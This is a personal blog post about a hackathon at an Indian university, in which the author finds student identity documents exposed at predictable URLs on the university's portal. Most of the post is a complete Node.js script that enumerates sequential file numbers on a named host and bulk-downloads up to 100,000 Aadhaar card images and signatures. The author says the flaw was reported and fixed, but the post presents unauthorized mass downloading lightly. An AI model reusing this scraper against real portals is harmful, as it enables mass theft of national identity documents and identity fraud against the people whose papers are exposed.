The Bug I Found at Nobel University

January 22, 2025 (2mo ago)

Hello there! šŸ‘‹

You know, hackathons are supposed to be intense coding marathons where you push your limits, build cool projects, and maybe win a prize or two. But sometimes, they also serve as the stage for the unexpected. Like that one time I stumbled upon a major bug at Nobel University during a hackathon. Buckle up, because this one’s a wild ride! šŸš€


The Hackathon Begins

So, there I was, heading to this hackathon at Nobel University, located in the lovely city of Junagadh. The vibe was great, the energy was high, and the competition... well, let’s just say it wasn’t exactly fierce. šŸ˜…

As soon as we got our problem statements, my team and I pounced on one that seemed manageable: organizing unorganized labor work. We quickly got to work and built a web application for it. Thanks to our experience (and maybe a bit of luck), we had the backend up and running in about 3-4 hours. With plenty of time left on the clock, I started helping other teams and my own teammates while occasionally stealing glances at my newly made friend’s laptop. Curiosity always gets the better of me, I guess. šŸ¤·ā€ā™‚ļø


The Student Portal Incident

This friend of mine was updating their documents on the university’s student portal. Now, being the tech nerd that I am, I couldn’t resist taking a peek at the URL. What I saw left me speechless (and not in a good way). 😬

Turns out, Nobel University was hosting their own server and using Apache to manage document uploads. Sounds fine, right? Well, not when all the files—Aadhar cards, signatures, you name it—are indexed sequentially and accessible via predictable URLs. Worse still, the authentication token meant to protect these routes was laughably easy to bypass.


Writing the Script

I couldn’t let this slide. So, I whipped up a quick Node.js script to see just how exposed this data was. Here’s what I came up with:

import axios from "axios";
import fs from "fs-extra";
import path from "path";
 
const AADHAR_BASE_URL =
  "https://noble.icrp.in/academic/images/stud_aadhar_card/";
const SIGN_BASE_URL = "https://noble.icrp.in/academic/images/Stud_signature/";
 
const AADHAR_FOLDER = path.join(__dirname, "images", "aadhar");
const SIGN_FOLDER = path.join(__dirname, "images", "signatures");
const LOG_FILE = path.join(__dirname, "downloaded_files.txt");
 
fs.ensureDirSync(AADHAR_FOLDER);
fs.ensureDirSync(SIGN_FOLDER);
 
const logDownloadedFile = async (url) => {
  try {
    await fs.appendFile(LOG_FILE, `${url}\n`);
  } catch (error) {
    console.error(`Failed to log URL ${url}:`, error.message);
  }
};
 
const downloadImage = async (url, savePath) => {
  try {
    const response = await axios.get(url, { responseType: "stream" });
    const writer = fs.createWriteStream(savePath);
 
    response.data.pipe(writer);
 
    return new Promise((resolve, reject) => {
      writer.on("finish", resolve);
      writer.on("error", reject);
    });
  } catch (error) {
    console.error(`Failed to download ${url}:`, error.message);
    return false;
  }
};
 
const downloadImages = async () => {
  console.log("Starting download process...");
 
  for (let i = 1; i <= 100000; i++) {
    const paddedNumber = i.toString().padStart(5, "0");
    const aadharUrl = `${AADHAR_BASE_URL}${paddedNumber}.jpg`;
    const signUrl = `${SIGN_BASE_URL}${paddedNumber}.jpg`;
 
    const aadharSavePath = path.join(AADHAR_FOLDER, `${paddedNumber}.jpg`);
    const signSavePath = path.join(SIGN_FOLDER, `${paddedNumber}.jpg`);
 
    console.log(`Downloading Aadhar: ${aadharUrl}`);
    const aadharSuccess = await downloadImage(aadharUrl, aadharSavePath);
    if (aadharSuccess) {
      await logDownloadedFile(aadharUrl);
    }
 
    console.log(`Downloading Signature: ${signUrl}`);
    const signSuccess = await downloadImage(signUrl, signSavePath);
    if (signSuccess) {
      await logDownloadedFile(signUrl);
    }
  }
 
  console.log("Download process completed.");
};
 
downloadImages().catch((error) => {
  console.error("Error occurred during the download process:", error.message);
});

Within minutes, I had access to hundreds of sensitive documents. Naturally, I didn’t misuse this information. Instead, I promptly reported the issue to the university authorities, who (thankfully) took immediate action to secure their portal.


Wrapping Up

Oh, and in case you’re wondering, my team won the hackathon. šŸ† The web application we built was well-received, It’s not every day that you find a security flaw while participating in a hackathon, after all.

So, the next time you attend a hackathon, keep your eyes open. You never know what you might stumble upon. And remember, with great power comes great responsibility. šŸ•·ļøāœØ

Cheers, Your friendly neighborhood coder! šŸ¤“